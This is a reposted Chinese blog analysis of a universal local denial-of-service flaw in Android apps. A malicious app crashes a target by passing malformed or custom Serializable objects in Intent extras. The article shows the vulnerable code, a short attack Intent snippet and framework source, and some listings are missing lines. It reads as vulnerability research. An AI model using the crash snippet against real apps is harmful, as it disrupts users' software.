Android APP通用型拒绝服务、漏洞分析报告
来源:互联网 发布:淘宝资质认证怎么弄 编辑:程序博客网 时间:2024/04/30 09:14
点评:记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞,移动安全团队爱内测(www.ineice.com)发现了一个安卓客户端的通用型拒绝服务漏洞,来看看他们的详细分析吧。
0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。
针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。
1 Intent i = getIntent();
2 if(i.getAction().equals("serializable_action")){
3 i.getSerializableExtra("serializable_key"); //未做异常判断
4 }
攻击应用代码片段:
1 Intent i = new Intent();
2 i.setAction("serializable_action");
3 i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");
4 i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据
5 startActivity(i);
比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。
自定义的序列化类很简单:
2 private static final long serialVersionUID = -3601187837704976264L;
3 public DataSchema() {
4 super();
5 }
6 }
对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。
随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。
1 protected void onCreate(Bundle savedInstanceState) {
2 Intent intent = getIntent();
3 intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash
4 }
接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。
02 return mExtras == null ? null : mExtras.getString(name);
03 }
04 /frameworks/base/core/java/android/os/Bundle.java
05 public String getString(String key) {
06 unparcel(); //处理数据
07 ...
08 }
09 /* package */ synchronized void unparcel() {
10 ...
11 mParcelledData.readMapInternal(mMap, N, mClassLoader);
12 ...
13 }
14
15 /frameworks/base/core/java/android/os/Parcel.java
16 readMapInternal解析传递进来的数据
0 0
- Android APP通用型拒绝服务、漏洞分析报告
- Android APP通用型拒绝服务漏洞分析报告
- Android APP通用型拒绝服务漏洞分析
- 通用型安卓拒绝服务漏洞报告&检测工具
- android中通用拒绝服务漏洞
- Android本地拒绝服务漏洞浅析
- ProFTPd 远程拒绝服务漏洞 (APP,缺陷)
- Android应用本地拒绝服务漏洞浅析
- Android应用本地拒绝服务漏洞浅析
- Android本地拒绝服务漏洞学习与复现
- 安卓拒绝服务漏洞分析及漏洞检测
- APP漏洞扫描器之本地拒绝服务检测详解
- 关于Android应用本地拒绝服务漏洞和android:exported属性
- Android App安全加固行业分析报告
- Android学习第十天-----本地拒绝服务漏洞之一
- Android静态安全检测 -> 强制类型转换本地拒绝服务漏洞
- Linux Kernel拒绝服务漏洞
- 短信拒绝服务漏洞
- 完胜汪涵、李咏、毕福剑 何炅被评综艺一哥/图
- [SharePoint 2010– InfoPath]通过REST Web Service在表单中嵌入地图
- Android使用volley发送带参数的post请求
- linux设置开机启动项
- Web端对于音频文件的支持
- Android APP通用型拒绝服务、漏洞分析报告
- java.lang.NoSuchMethodException: org.apache.catalina.deploy.WebXml addServlet
- 揭秘娱乐圈内大牌干爹:潜规测-何炅疼王诗龄被指偏心
- 独立开门狗无法修改复位时间(可以启动,也可以正常喂狗,但是就是不能调分频系数)。
- 想考gre,如何做准备?
- Ubuntu下获取linux内核
- sudo:无法解析主机 解决方案
- ABAP memory中的Export和Import
- 一个tomcat部署两个项目引发的血案:Web app root system property already set to different value: 'webapp.root'